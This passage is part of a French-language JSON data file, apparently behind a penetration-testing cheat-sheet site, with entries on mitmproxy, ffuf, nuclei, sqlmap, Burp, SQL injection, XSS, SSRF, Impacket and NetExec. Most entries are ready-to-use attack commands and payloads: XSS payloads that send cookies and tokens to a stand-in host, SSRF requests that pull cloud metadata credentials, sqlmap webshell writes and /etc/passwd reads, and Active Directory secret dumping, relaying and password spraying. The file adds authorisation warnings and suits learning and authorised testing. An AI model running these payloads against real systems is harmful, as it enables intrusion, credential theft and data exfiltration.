le certificat CA ( ~/.mitmproxy/mitmproxy-ca-cert.pem ) sur l'appareil. Sur Android 7+, les certificats utilisateur sont ignorés par les apps : il faut un appareil rooté, un build patché ou Frida pour contourner le pinning. Mode transparent (Linux) Interception et filtres Dans la TUI, i active l'interception et ouvre un filtre : Raccourcis : Enter éditer, a accepter, A accepter tout, r rejouer, e éditer, / filtrer la vue, f suivre un flux, z vider. Rejouer et modifier Bonnes pratiques - Utilise un profil navigateur dédié : les cookies de production n'ont rien à faire dans le proxy. - --set connection strategy=lazy aide avec les serveurs qui ferment les connexions. - --ignore-hosts évite d'intercepter les domaines de télémétrie. - Pour les WebSockets, mitmproxy les affiche comme des flux websocket : inspecte les frames avec e . [!WARNING] Un proxy MITM casse le certificat de nombreux clients (pinning, mTLS, QUIC). Si l'application refuse la connexion, vérifie d'abord le pinning avant de conclure à un bug réseau.","x":"# Interface TUI\nmitmproxy --listen-port 8080\n\n# Interface web sur http://127.0.0.1:8081\nmitmweb --listen-port 8080 --web-port 8081\n\n# Écouter sur toutes les interfaces (lab uniquement)\nmitmproxy --listen-host 0.0.0.0 --listen-port 8080\n\n# Écrire les flux dans un fichier\nmitmproxy -w flows.mitm --listen-port 8080\n\n# curl\ncurl -x http://127.0.0.1:8080 -k https://target.test\n\n# Variables d'environnement\nexport HTTP_PROXY=http://127.0.0.1:8080\nexport HTTPS_PROXY=http://127.0.0.1:8080\n\n# Firefox : paramètres réseau → proxy manuel HTTP 127.0.0.1:8080\n\n# Rediriger le trafic HTTP/HTTPS vers mitmproxy\nsudo sysctl -w net.ipv4.ip_forward=1\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 80 -j REDIRECT --to-port 8080\nsudo iptables -t nat -A PREROUTING -i eth0 -p tcp --dport 443 -j REDIRECT --to-port 8080\n\nsudo mitmproxy --mode transparent --listen-port 8080\n\n~u /api/           # URL contient /api/\n~m POST            # méthode POST\n~q                 # requêtes avec paramètres\n~d example\\.com    # domaine\n~t application/json\n~s                 # réponses\n\n# Rejouer un fichier de flux\nmitmproxy -r flows.mitm\n\n# Replay serveur (réponses en cache, utile hors ligne)\nmitmproxy --server-replay flows.mitm --server-replay-kill-extra\n\n# Modifier une requête avec un script\nmitmproxy -s tamper.py\n\n# tamper.py — ajoute un header et remplace une valeur\nfrom mitmproxy import http\n\ndef request(flow: http.HTTPFlow) -> None:\n    if \"api.target.test\" in flow.request.pretty_host:\n        flow.request.headers[\"X-Forwarded-For\"] = \"127.0.0.1\"\n        if \"role=user\" in flow.request.get_text():\n            flow.request.set_text(flow.request.get_text().replace(\"role=user\", \"role=admin\"))"},{"s":"ffuf","t":"ffuf","d":"Fuzzer URLs, sous-domaines, paramètres et vhosts à grande vitesse avec ffuf.","c":"web","k":"tool","g":["fuzzing","content-discovery","wordlists","vhost","fuzz faster","directory brute force"],"h":["Découverte de contenu","Sous-domaines et vhosts","Paramètres et valeurs","Sortie et reprise"],"b":"Découverte de contenu Option Effet --- --- -mc Codes à garder ( all pour tout) -fc Codes à exclure -fs Taille de réponse à exclure -fw / -fl Nombre de mots / lignes à exclure -mr / -fr Regex à garder / exclure -ac Auto-calibration des filtres -rate Requêtes par seconde -p Pause entre requêtes (ex. 0.1 ) Sous-domaines et vhosts Paramètres et valeurs [!TIP] -ac lance d'abord des requêtes aléatoires pour déduire les filtres. C'est souvent plus fiable que deviner -fs , surtout sur les SPA qui renvoient 200 partout. Sortie et reprise [!NOTE] ffuf ne reprend pas un scan interrompu. Sauvegarde les résultats en JSON et relance avec les mêmes filtres, ou découpe la wordlist en plusieurs lots. [!WARNING] Un fuzzing agressif peut saturer une application ou déclencher un WAF. Commence avec -rate 20 , exclure les chemins destructifs ( /logout , /delete ) et vérifie le scope. -mc all sans filtre produit énormément de bruit.","x":"# Répertoires et fichiers\nffuf -u https://target.test/FUZZ -w /wordlists/dirb/common.txt -mc 200,204,301,302,307,401,403\n\n# Filtrer par taille de réponse (élimine les pages par défaut)\nffuf -u https://target.test/FUZZ -w raft-medium-directories.txt -fs 4242\n\n# Extensions multiples\nffuf -u https://target.test/FUZZ -w common.txt -e .php,.bak,.old,.txt,.zip\n\n# Récursion sur les répertoires trouvés\nffuf -u https://target.test/FUZZ -w common.txt -recursion -recursion-depth 2 -fc 404\n\n# Virtual hosts : le domaine reste constant, le Host change\nffuf -u https://target.test -H \"Host: FUZZ.target.test\" \\\n  -w subdomains.txt -fs 0 -mc all\n\n# Sous-domaines DNS (si résolution sauvage)\nffuf -u https://FUZZ.target.test -w subdomains.txt -mc 200 -fs 1234\n\n# Filtrer la réponse par défaut du vhost\ncurl -s -H \"Host: random.target.test\" https://target.test | wc -c\n\n# Découvrir des paramètres GET\nffuf -u \"https://target.test/api?FUZZ=test\" -w params.txt -fs 120\n\n# Fuzzer une valeur (IDOR, injection, enum)\nffuf -u \"https://target.test/api/user?id=FUZZ\" -w ids.txt -mr \"admin|root\" -mc all\n\n# POST JSON\nffuf -u https://target.test/api/login -X POST \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"username\":\"FUZZ\",\"password\":\"test\"}' \\\n  -w users.txt -fc 401 -fr \"invalid\"\n\n# Headers et méthodes\nffuf -u https://target.test/ -X FUZZ -w methods.txt -mc all -fc 405\n\n# JSON pour post-traitement\nffuf -u https://target.test/FUZZ -w common.txt -of json -o ffuf.json\n\n# CSV et HTML\nffuf -u https://target.test/FUZZ -w common.txt -of csv -o ffuf.csv\n\n# Extraire les URLs trouvées\njq -r '.results[].url' ffuf.json | sort -u"},{"s":"nuclei","t":"Nuclei","d":"Scanner des vulnérabilités et des expositions avec les templates YAML de la communauté.","c":"web","k":"tool","g":["scanner","templates","cve","dast","nuclei scanner"],"h":["Mise à jour et premier scan","Cibler les templates","Templates personnalisés","OOB et interactions"],"b":"Mise à jour et premier scan Option Effet --- --- -t Dossier ou fichier de templates -tags Filtre par tags ( cve , exposure , sqli ) -severity info,low,medium,high,critical -rl Rate limit global (req/s) -c Concurrence par template -as Automatic scan -headless Templates nécessitant un navigateur -stats Progression et statistiques -jsonl Sortie JSON Lines Cibler les templates Templates personnalisés OOB et interactions [!TIP] Lance d'abord -as sur un host isolé pour voir quels templates matchent. Ensuite, réduis à ces tags pour scanner tout le périmètre sans générer 200 000 requêtes inutiles. [!WARNING] Certains templates exécutent des actions intrusives (RCE, upload, injection). Filtre -exclude-tags intrusive,dos,fuzz en production et préviens le client avant un scan -dast .","x":"# Templates officiels + communautaires\nnuclei -update-templates\n\n# Scan standard sur une liste de hosts\nnuclei -l live.txt -severity critical,high -o nuclei.txt\n\n# Scan automatique : tech detection puis templates adaptés\nnuclei -u https://target.test -as -severity critical,high\n\n# DAST : fuzzing des paramètres connus\nnuclei -u https://target.test -dast -rl 30\n\n# Lister les templates disponibles\nnuclei -tl\n\n# Chercher par mot-clé\nnuclei -tl | grep -iE \"jenkins|gitlab|exposed\"\n\n# Expositions et panneaux d'admin\nnuclei -l live.txt -tags exposure,panel,config -severity medium,high,critical\n\n# Technologies spécifiques\nnuclei -l live.txt -tags wordpress,joomla,drupal\n\n# CVE récentes uniquement\nnuclei -l live.txt -tags cve -severity critical -rl 20\n\nid: custom-admin-panel\n\ninfo:\n  name: Custom admin panel exposed\n  author: operator\n  severity: medium\n  tags: exposure,panel\n\nhttp:\n  - method: GET\n    path:\n      - \"{{BaseURL}}/internal/admin\"\n    matchers-condition: and\n    matchers:\n      - type: status\n        status:\n          - 200\n      - type: word\n        words:\n          - \"Admin Console\"\n          - \"internal-use-only\"\n        condition: and\n\nnuclei -u https://target.test -t custom-admin-panel.yaml -debug\n\n# Détection de SSRF / blind XSS via interactsh\nnuclei -l urls.txt -t http/miscellaneous/ -interactsh-url oast.pro\n\n# Vérifier le callback\nnuclei -l urls.txt -t custom-oob.yaml -debug -v"},{"s":"sqlmap","t":"sqlmap","d":"Détecter et exploiter les injections SQL : dump, shell, fichiers et contournement de WAF.","c":"web","k":"tool","g":["sqli","injection","database","exploitation","sql injection automation"],"h":["Scan de base","Explorer la base","Fichiers et shell","Contournement et discrétion"],"b":"Scan de base Option Effet --- --- --dbs Liste les bases -D db --tables Tables d'une base -T table --columns Colonnes --dump Dump les données --level 1-5 Nombre de tests (défaut 1) --risk 1-3 Risque des payloads --technique BEUSTQ Techniques autorisées --tamper Scripts de contournement WAF --os-shell Shell système (si DB le permet) Explorer la base Fichiers et shell Contournement et discrétion [!TIP] Sur une appli qui renvoie peu d'erreurs, force le booléen ou le time-based : --technique=BT --time-sec=3 . Commence par --level 2 --risk 1 pour éviter de casser les données. [!WARNING] --os-shell , --file-write et --dump peuvent modifier ou exfiltrer des données réelles. Sur une prod, demande une autorisation écrite, limite le dump à quelques lignes ( --stop 5 ) et ne touche jamais aux tables de sessions.","x":"# Détection et batch (aucune question interactive)\nsqlmap -u \"https://target.test/item?id=1\" --batch\n\n# Depuis une requête Burp sauvegardée\nsqlmap -r request.txt --batch --level 3 --risk 2\n\n# POST avec cookie et header custom\nsqlmap -u \"https://target.test/login\" \\\n  --data \"user=admin&pass=test\" \\\n  --cookie \"session=abc123\" \\\n  --headers \"X-Forwarded-For: 127.0.0.1\" \\\n  --batch\n\n# Bases, tables, colonnes\nsqlmap -u \"https://target.test/item?id=1\" --dbs --batch\nsqlmap -u \"https://target.test/item?id=1\" -D app --tables --batch\nsqlmap -u \"https://target.test/item?id=1\" -D app -T users --columns --batch\n\n# Dump ciblé\nsqlmap -u \"https://target.test/item?id=1\" -D app -T users \\\n  -C username,password,email --dump --batch\n\n# Hashs et mots de passe\nsqlmap -u \"https://target.test/item?id=1\" --passwords --batch\n\n# Lire un fichier serveur\nsqlmap -u \"https://target.test/item?id=1\" --file-read=/etc/passwd\n\n# Écrire un webshell (droits élevés nécessaires)\nsqlmap -u \"https://target.test/item?id=1\" --file-write=shell.php \\\n  --file-dest=/var/www/html/shell.php\n\n# Shell SQL interactif\nsqlmap -u \"https://target.test/item?id=1\" --sql-shell\n\n# Shell OS\nsqlmap -u \"https://target.test/item?id=1\" --os-shell\n\n# WAF : tamper scripts (liste disponible avec --list-tampers)\nsqlmap -u \"https://target.test/item?id=1\" \\\n  --tamper=space2comment,between,randomcase \\\n  --random-agent --delay 1 --batch\n\n# Forcer une technique et un DBMS\nsqlmap -u \"https://target.test/item?id=1\" --technique=T --dbms=mysql\n\n# Tor / proxy\nsqlmap -u \"https://target.test/item?id=1\" --proxy=http://127.0.0.1:8080\n\n# Lister les tampers utiles\nsqlmap --list-tampers | grep -iE \"space|union|between|charencode\""},{"s":"burp","t":"Burp Suite","d":"Le workflow d'interception web : Proxy, Repeater, Intruder, extensions et raccourcis.","c":"web","k":"tool","g":["proxy","repeater","intruder","extensions","burp","portswigger"],"h":["Raccourcis essentiels","Proxy et scope","Repeater","Intruder","Extensions indispensables","Comparer et Decoder"],"b":"Raccourcis essentiels Raccourci Action --- --- Ctrl+R Envoyer vers Repeater Ctrl+I Envoyer vers Intruder Ctrl+Shift+B Envoyer vers Comparer Ctrl+Shift+D Envoyer vers Decoder Ctrl+F Chercher dans l'historique Ctrl+Space Autocomplétion dans Repeater Ctrl+U Encoder URL la sélection Proxy et scope - Installe le certificat CA ( http://burp/cert ) dans le navigateur ou l'appareil. - Utilise un profil navigateur dédié : les cookies d'entreprise n'ont pas leur place dans le proxy. - Active Proxy → Options → Match and Replace pour injecter un header sur toutes les requêtes. - TLS pass through pour les domaines qui cassent le proxy. Repeater Astuces : clic droit → Change request method , Paste URL as request , Request in browser . Utilise les onglets pour garder plusieurs variantes d'un même endpoint. Intruder Les quatre modes d'attaque : Mode Usage --- --- Sniper Une position à la fois Battering ram Même valeur partout Pitchfork Une wordlist par position, en parallèle Cluster bomb Toutes les combinaisons [!TIP] Sur les apps modernes, Intruder est souvent trop lent. Pour du fuzzing massif, utilise ffuf ou l'extension Turbo Intruder (scripts Python, HTTP/2, race conditions). Extensions indispensables - Autorize : rejoue les requêtes avec un autre rôle pour détecter les contrôles d'accès manquants. - Param Miner : découvre des paramètres et headers cachés (cache poisoning, debug). - Turbo Intruder : attaques rapides, single-packet, race conditions. - JWT Editor : inspecte et forge des JWT. - Logger++ : historique avancé et filtrable. - Hackvertor : encodages et transformations à la volée. Comparer et Decoder [!WARNING] Le Scanner (Pro) et certaines extensions envoient beaucoup de requêtes. Vérifie le scope, règle la throttle, et exclus les endpoints destructifs ( /delete , /logout , /admin/reset ) avant de lancer une attaque automatisée.","x":"Proxy → Options → Intercept : activer/désactiver avec Ctrl+T\nTarget → Scope : ajouter target.test et exclure les domaines tiers\nProxy → HTTP history : filtrer par scope, méthode, statut\n\n1. Sélectionner une requête dans l'historique\n2. Ctrl+R\n3. Modifier et Send (Ctrl+Enter)\n4. Comparer les réponses ou les envoyer dans Comparer\n\nPositions → Clear § → sélectionner les valeurs à fuzzer → Add §\nPayloads → Simple list / Runtime file / Recursive grep\nOptions → Grep - Match : \"admin\", \"error\", \"token\"\n\nComparer : Ctrl+Shift+B, mots/octets, utile pour les réponses proches\nDecoder : URL, HTML, Base64, hex, gzip, JWT ; \"Send to Decoder\" depuis n'importe où"},{"s":"sql-injection","t":"SQL injection","d":"Détecter, confirmer et exploiter une injection SQL : UNION, booléen, temporel et spécificités SGBD.","c":"web","k":"technique","g":["sqli","union","blind","waf-bypass","sqli","injection sql"],"h":["Détection","UNION-based","Blind : booléen","Blind : temporel","Spécificités SGBD","Commentaires et WAF","Après l'injection"],"b":"Détection Une différence de contenu entre 1' AND '1'='1 et 1' AND '1'='2 confirme une injection booléenne. Une erreur SQL explicite confirme une injection en erreur. [!TIP] Teste aussi les paramètres moins évidents : headers ( X-Forwarded-For , User-Agent ), cookies, champs JSON, tri ( sort= , order= ), et les IDs encodés en base64. UNION-based [!WARNING] UNION exige le même nombre de colonnes et des types compatibles. Si l'affichage est muet, passe en booléen ou temporel. Blind : booléen Automatiser caractère par caractère avec un script ou sqlmap. En HTTP, comparer la taille ou un marqueur de la réponse. Blind : temporel Spécificités SGBD SGBD Version Concat / limite --- --- --- MySQL @@version group concat() / LIMIT PostgreSQL version() string agg() / LIMIT MSSQL @@version + / TOP Oracle v$version \\ \\ / ROWNUM SQLite sqlite version() group concat() Commentaires et WAF [!TIP] Si les espaces sont filtrés : / / , tabulation %09 , newline %0a . Si SELECT est bloqué : SEL/ /ECT , SeLeCt . Si les quotes sont bloquées, cherche une injection numérique ( id=1 AND 1=1 ) ou un contexte ORDER BY . Après l'injection - Dump minimal et daté pour le rapport ( id , username , hash tronqué). - Cherche les tables de sessions, tokens de reset, clés API. - Vérifie les droits du compte DB : FILE , xp cmdshell , COPY ... FROM PROGRAM . - Ne modifie pas les données. Une preuve d'accès contrôlée suffit. [!WARNING] Une injection SQL sur une application client peut exposer des données personnelles. Limite le dump au strict nécessaire, stocke-le chiffré et supprime-le après le rapport. Ne teste jamais DROP , UPDATE ou DELETE sans autorisation explicite.","x":"?id=1'\n?id=1''\n?id=1'--\n?id=1' AND '1'='1\n?id=1' AND '1'='2\n\n-- 1. Compter les colonnes\n' ORDER BY 1-- -\n' ORDER BY 5-- -\n' ORDER BY 10-- -\n\n-- 2. Trouver les colonnes affichées\n' UNION SELECT 1,2,3-- -\n' UNION SELECT 1,2,3,4,5-- -\n\n-- 3. Extraire la version et le user\n' UNION SELECT 1,@@version,3-- -\n' UNION SELECT 1,user(),3-- -\n\n-- Lister les tables (MySQL / MariaDB)\n' UNION SELECT 1,group_concat(table_name),3\nFROM information_schema.tables WHERE table_schema=database()-- -\n\n-- Lister les colonnes\n' UNION SELECT 1,group_concat(column_name),3\nFROM information_schema.columns WHERE table_name='users'-- -\n\n-- Longueur et premier caractère du nom de la base\n' AND length(database())=8-- -\n' AND substring(database(),1,1)='a'-- -\n' AND ascii(substring(database(),1,1))>97-- -\n\n-- MySQL\n' AND SLEEP(5)-- -\n' AND IF(substring(database(),1,1)='a',SLEEP(5),0)-- -\n\n-- PostgreSQL\n'; SELECT pg_sleep(5)-- -\n\n-- MSSQL\n'; WAITFOR DELAY '0:0:5'-- -\n\n-- Oracle\n' AND 1=dbms_pipe.receive_message(('a'),5)-- -\n\n-- MSSQL : empiler des requêtes\n'; EXEC xp_cmdshell 'whoami'-- -\n\n-- PostgreSQL : lire un fichier (superuser)\n' UNION SELECT pg_read_file('/etc/passwd')-- -\n\n-- Commentaires selon le SGBD\n-- -            MySQL (espace après --)\n#              MySQL\n/* */          Tous\n--             Oracle / PostgreSQL\n\n-- Contournement simple\n'/**/OR/**/1=1-- -\n'%27%20OR%201=1--%20\n' UnIoN SeLeCt 1,2,3-- -"},{"s":"xss","t":"XSS","d":"Identifier le contexte d'injection, choisir le bon payload et contourner les filtres côté client.","c":"web","k":"technique","g":["xss","javascript","dom","csp","payloads","cross-site scripting","script injection"],"h":["Identifier le contexte","Filtres et encodages","DOM XSS","Vol de données (PoC)","CSP","Remédiation"],"b":"Identifier le contexte Contexte Payload de test --- --- HTML entre balises alert(1) Attribut entre guillemets \" autofocus onfocus=\"alert(1) Attribut sans guillemets x onmouseover=\"alert(1) Chaîne JavaScript ';alert(1)// URL ( href ) javascript:alert(1) Template côté client {{constructor.constructor('alert(1)')()}} Filtres et encodages [!TIP] Si est filtré mais que l'injection est dans un attribut, les event handlers ( onerror , onload , onfocus ) sont souvent suffisants. Si les espaces et parenthèses sont filtrés, regarde du côté de confirm et des template literals : alert\\ 1\\ . DOM XSS Sources contrôlables : location.hash , location.search , document.referrer , window.name , postMessage . [!WARNING] Les navigateurs modernes bloquent les payloads triviaux dans les contextes script. Ne conclus pas à l'absence de XSS : inspecte le DOM généré, les attributs, les handlers et les bibliothèques clientes (React dangerouslySetInnerHTML , jQuery .html() ). Vol de données (PoC) Sur une app moderne, préfère un PoC qui prouve l'exécution (alerte, requête vers un collaborator) sans exfiltrer de données réelles. CSP - unsafe-inline autorise scripts et handlers inline. - nonce-... : cherche un endpoint qui reflète le nonce ou une injection dans une balise autorisée. - strict-dynamic ne protège pas si un script autorisé est déjà détournable. - Les CDN autorisés ( cdn.jsdelivr.net ) peuvent héberger des bibliothèques avec gadgets. [!TIP] Utilise document.domain , postMessage et les redirections ouvertes pour transformer un XSS limité en exécution dans un autre sous-domaine. Vérifie aussi les cookies HttpOnly : sans eux, le vol de session est direct. Remédiation - Encodage contextuel côté serveur (HTML, attribut, JS, URL). - Assainissement HTML avec une allowlist stricte si le HTML utilisateur est nécessaire. - CSP avec nonce, object-src 'none' , base-uri 'none' . - Cookies HttpOnly , Secure , SameSite=Lax . - Tests automatisés sur les contextes réels, pas seulement alert(1) .","x":"<!-- Test minimal, sans dépendance -->\n<script>alert(document.domain)</script>\n<img src=x onerror=alert(document.domain)>\n<svg/onload=alert(document.domain)>\n\"><img src=x onerror=alert(1)>\n\n<!-- Balises et event handlers alternatifs -->\n<details open ontoggle=alert(1)>\n<body onload=alert(1)>\n<iframe srcdoc=\"<script>alert(1)</script>\">\n<a href=\"javascript:alert(1)\">click</a>\n\n<!-- Encodage HTML -->\n&#60;img src=x onerror=alert(1)&#62;\n\n<!-- Contournement de blacklist naïve -->\n<scr<script>ipt>alert(1)</scr</script>ipt>\n<img src=x onerror=alert(1)//\n\n// Sinks dangereux\nelement.innerHTML = userInput;\ndocument.write(userInput);\neval(userInput);\nsetTimeout(userInput, 0);\nlocation.href = userInput;\n\n// Test rapide d'un sink\nlocation.hash = '<img src=x onerror=alert(1)>';\n\n<script>\nfetch('https://oast.example/?c=' + encodeURIComponent(document.cookie));\n</script>\n\n<!-- Extraction d'un token CSRF dans le DOM -->\n<script>\nfetch('/api/me').then(r => r.text()).then(t => {\n  new Image().src = 'https://oast.example/?d=' + encodeURIComponent(t);\n});\n</script>\n\n# Vérifier la politique\ncurl -sI https://target.test | grep -i content-security-policy"},{"s":"ssrf","t":"SSRF","d":"Forcer un serveur à émettre des requêtes : metadata cloud, services internes et contournement d'allowlist.","c":"web","k":"technique","g":["ssrf","cloud","metadata","gopher","server-side request forgery"],"h":["Détection","Metadata cloud","Contourner une allowlist","Services internes","Blind SSRF","Remédiation"],"b":"Détection Teste les schémas, les ports internes et les redirections. Une réponse différente (temps, taille, code) suffit à confirmer. Metadata cloud [!TIP] Si l'application suit les redirections, héberge une page 302 vers http://169.254.169.254/... . Les filtres qui valident l'URL initiale ne voient souvent pas la destination finale. Contourner une allowlist Services internes Blind SSRF - Utilise un collaborator (interactsh, Burp Collaborator) pour confirmer l'émission de la requête. - Teste les timeouts : un port filtré répond lentement, un port ouvert rapidement. - Fais varier les chemins ( /latest/meta-data/ , /health , /metrics ) et observe les différences de taille. [!WARNING] L'accès aux metadata cloud peut exposer des credentials IAM. Ne les utilise jamais au-delà de la preuve d'accès, ne les stocke pas en clair et signale immédiatement le finding. Ne lance pas de scan interne massif depuis un SSRF sans autorisation. Remédiation - Allowlist stricte de schémas, domaines et ports. - Résolution DNS puis validation de l'IP, avec re-validation à chaque redirection. - Bloquer 169.254.169.254 , les plages privées et les schémas non HTTP. - IMDSv2 obligatoire côté AWS, metadata proxy côté GCP. - Réseau segmenté : un service qui fetch des URLs ne doit pas atteindre le plan de contrôle.","x":"GET /fetch?url=http://127.0.0.1:80/ HTTP/1.1\nGET /fetch?url=http://[::1]:80/ HTTP/1.1\nGET /image?src=http://oast.example/ssrf HTTP/1.1\n\n# AWS IMDSv1\ncurl http://169.254.169.254/latest/meta-data/\ncurl http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# AWS IMDSv2 (token obligatoire)\nTOKEN=$(curl -sX PUT http://169.254.169.254/latest/api/token \\\n  -H 'X-aws-ec2-metadata-token-ttl-seconds: 21600')\ncurl -H \"X-aws-ec2-metadata-token: $TOKEN\" \\\n  http://169.254.169.254/latest/meta-data/iam/security-credentials/\n\n# GCP\ncurl -H 'Metadata-Flavor: Google' \\\n  http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token\n\n# Azure\ncurl -H 'Metadata: true' \\\n  'http://169.254.169.254/metadata/instance?api-version=2021-02-01'\n\n# DigitalOcean\ncurl http://169.254.169.254/metadata/v1.json\n\nhttp://127.0.0.1\nhttp://2130706433          # décimal\nhttp://0177.0.0.1          # octal\nhttp://0x7f000001          # hexadécimal\nhttp://127.1\nhttp://[::ffff:127.0.0.1]\nhttp://127.0.0.1.nip.io\nhttp://target.test@127.0.0.1\nhttp://127.0.0.1#.target.test\n\n# Résolution DNS contrôlée (rebinding)\n# 1. Enregistre un domaine qui alterne entre IP publique et 127.0.0.1\n# 2. Fais résoudre le domaine deux fois : validation puis requête\n\nhttp://127.0.0.1:6379     # Redis\nhttp://127.0.0.1:9200     # Elasticsearch\nhttp://127.0.0.1:2375     # Docker API\nhttp://127.0.0.1:8500     # Consul\nhttp://127.0.0.1:8080     # app interne\n\n# Redis via gopher (si le client supporte gopher://)\ngopher://127.0.0.1:6379/_SET%20x%20%22%0A%0A%22%0A\n\n# Fichier local\nfile:///etc/passwd\n\n# Docker API : lister les conteneurs\ncurl http://127.0.0.1:2375/containers/json"},{"s":"impacket","t":"Impacket","d":"Boîte à outils Python pour SMB, Kerberos, LDAP et l'exploitation Active Directory.","c":"ad","k":"tool","g":["smb","kerberos","secretsdump","psexec","relay","impacket scripts","secretsdump"],"h":["Authentification","Énumération","Kerberoasting / AS-REP","Dump de secrets","Exécution à distance","Relais NTLM"],"b":"Authentification Énumération Kerberoasting / AS-REP Dump de secrets Exécution à distance Relais NTLM [!TIP] ntlmrelayx -socks ouvre un proxy SOCKS : les sessions authentifiées sont réutilisables avec proxychains . Pratique quand la cible ne permet pas d'exécuter une commande immédiate. [!WARNING] secretsdump et psexec sont extrêmement bruyants (journaux, création de services, réplication). En red team, privilégie les techniques furtives et vérifie les règles de détection. Ne dumpe jamais plus que nécessaire.","x":"# Mot de passe\nimpacket-smbclient 'DOMAIN/user:Password@10.10.10.10'\n\n# Hash NTLM (pass-the-hash)\nimpacket-smbclient -hashes :NTHASH 'DOMAIN/user@10.10.10.10'\n\n# Kerberos (ccache)\nexport KRB5CCNAME=user.ccache\nimpacket-smbclient -k -no-pass 'DOMAIN/user@dc01.domain.local'\n\n# Utilisateurs et groupes du domaine\nimpacket-GetADUsers -all 'DOMAIN/user:Password@dc01.domain.local'\n\n# SID / utilisateurs locaux via SMB\nimpacket-lookupsid 'DOMAIN/user:Password@10.10.10.10'\n\n# Partages\nimpacket-smbclient 'DOMAIN/user:Password@10.10.10.10'\n# puis : shares, use C$, ls\n\n# Requête LDAP rapide (client OpenLDAP)\nldapsearch -x -H ldap://dc01.domain.local -D 'user@domain.local' -w 'Password' \\\n  -b 'DC=domain,DC=local' '(objectClass=user)'\n\n# Comptes avec SPN → hash Kerberos (crackable hors ligne)\nimpacket-GetUserSPNs 'DOMAIN/user:Password@dc01.domain.local' -request -outputfile kerberoast.txt\n\n# Comptes sans pré-authentification\nimpacket-GetNPUsers 'DOMAIN/' -usersfile users.txt -format hashcat \\\n  -dc-ip 10.10.10.10 -no-pass -outputfile asrep.txt\n\n# Crack\nhashcat -m 13100 kerberoast.txt rockyou.txt      # TGS-REP\nhashcat -m 18200 asrep.txt rockyou.txt           # AS-REP\n\n# SAM + LSA + cached creds sur une machine\nimpacket-secretsdump 'DOMAIN/user:Password@10.10.10.10'\n\n# DCSync (droits de réplication nécessaires)\nimpacket-secretsdump 'DOMAIN/user:Password@dc01.domain.local' -just-dc\n\n# NTDS.dit hors ligne\nimpacket-secretsdump -ntds ntds.dit -system SYSTEM LOCAL\n\n# Depuis un hash local admin\nimpacket-secretsdump -hashes :NTHASH 'Administrator@10.10.10.10'\n\n# SMB (service créé, assez bruyant)\nimpacket-psexec 'DOMAIN/user:Password@10.10.10.10'\n\n# WMI (plus discret, pas de service)\nimpacket-wmiexec 'DOMAIN/user:Password@10.10.10.10'\n\n# SMBexec, atexec, dcomexec\nimpacket-smbexec 'DOMAIN/user:Password@10.10.10.10'\nimpacket-atexec 'DOMAIN/user:Password@10.10.10.10' 'whoami'\nimpacket-dcomexec 'DOMAIN/user:Password@10.10.10.10' 'whoami'\n\n# Écoute SMB et relaie vers une cible sans signature\nimpacket-ntlmrelayx -tf targets.txt -smb2support\n\n# Relais vers LDAP avec création d'un ordinateur (ADCS)\nimpacket-ntlmrelayx -t ldap://dc01 --add-computer\n\n# Relais vers LDAPS\nimpacket-ntlmrelayx -t ldaps://dc01 -smb2support --delegate-access"},{"s":"netexec","t":"NetExec","d":"Le couteau suisse AD : SMB, WinRM, LDAP, MSSQL, spraying et extraction de secrets.","c":"ad","k":"tool","g":["smb","winrm","ldap","spraying","nxc","nxc","crackmapexec"],"h":["Authentification","SMB","Exécution","Énumération LDAP","Spraying et modules"],"b":"Authentification SMB Exécution Énumération LDAP Spraying et modules [!TIP] --continue-on-success est indispensable en spraying : sans lui, nxc s'arrête au premier succès. Attention au verrouillage de comptes : vérifie la policy avant ( nxc smb dc01 -u user -p pass --pass-pol ). [!WARNING] Un spraying mal calibré verrouille les comptes de toute l'organisation. Espace les tentatives, utilise un seul mot de passe par passage et respecte les seuils du client.","x":"# Mot de passe\nnxc smb 10.10.10.0/24 -u user -p 'Password' -d DOMAIN\n\n# Hash NTLM\nnxc smb 10.10.10.10 -u user -H NTHASH -d DOMAIN\n\n# Kerberos\nnxc smb dc01.domain.local -u user -k --use-kcache -d DOMAIN\n\n# Fichier d'identifiants (user:pass ou user:hash)\nnxc smb targets.txt -u users.txt -p passwords.txt --continue-on-success\n\n# Info hôte et signature\nnxc smb 10.10.10.0/24\n\n# Partages accessibles\nnxc smb 10.10.10.10 -u user -p 'Password' --shares\n\n# Utilisateurs, groupes, sessions\nnxc smb 10.10.10.10 -u user -p 'Password' --users --groups --sessions\n\n# Qui est connecté\nnxc smb 10.10.10.10 -u user -p 'Password' --loggedon-users\n\n# Dump SAM / LSA / NTDS\nnxc smb 10.10.10.10 -u admin -p 'Password' --sam\nnxc smb 10.10.10.10 -u admin -p 'Password' --lsa\nnxc smb dc01 -u admin -p 'Password' --ntds\n\n# Commande cmd / PowerShell\nnxc smb 10.10.10.10 -u admin -p 'Password' -x 'whoami /all'\nnxc smb 10.10.10.10 -u admin -p 'Password' -X 'Get-Process'\n\n# WinRM\nnxc winrm 10.10.10.10 -u user -p 'Password' -x 'hostname'\n\n# MSSQL : commandes et requêtes\nnxc mssql 10.10.10.10 -u sa -p 'Password' -q 'SELECT @@version'\nnxc mssql 10.10.10.10 -u sa -p 'Password' --local-auth -x 'whoami'\n\n# Description des utilisateurs (souvent des passwords oubliés)\nnxc ldap dc01.domain.local -u user -p 'Password' --query \\\n  '(objectClass=user)' description\n\n# Kerberoastable / AS-REP roastable\nnxc ldap dc01.domain.local -u user -p 'Password' --kerberoasting kerb.txt\nnxc ldap dc01.domain.local -u user -p 'Password' --asreproast asrep.txt\n\n# Admins du domaine\nnxc ldap dc01.domain.local -u user -p 'Password' --groups \"Domain Admins\"\n\n# Password spraying (1 mot de passe, beaucoup d'users)\nnxc smb 10.10.10.0/24 -u users.txt -p 'Summer2026!' --continue-on-success\n\n# Lister les modules\nnxc smb -L\n\n# Modules utiles\nnxc smb 10.10.10.10 -u user -p 'Password' -M spider_plus\nnxc smb 10.10.10.10 -u user -p 'Password' -M lsassy\nnxc smb 10.10.10.10 -u user -p 'Password' -M gpp_password\nnxc smb 10.10.10.10 -u user -p 'Password' -M zerologon"},{"s":"bloodhound","t":"BloodHound","d":"Cartographier les relations Active Directory et trouver le chemin le plus court vers Domain Admin.","c":"ad","k":"tool","g":["ad","graph","acl","kerberos","privesc","sharphound","bloodhound-python"],"h":["Collecter","Importer","Requêtes intégrées","Cypher utiles","Opsec"],"b":"Collecter Méthode Bruit Remarque --- --- --- -c All Élevé Sessions, ACL, trusts, GPO -c DCOnly Faible LDAP 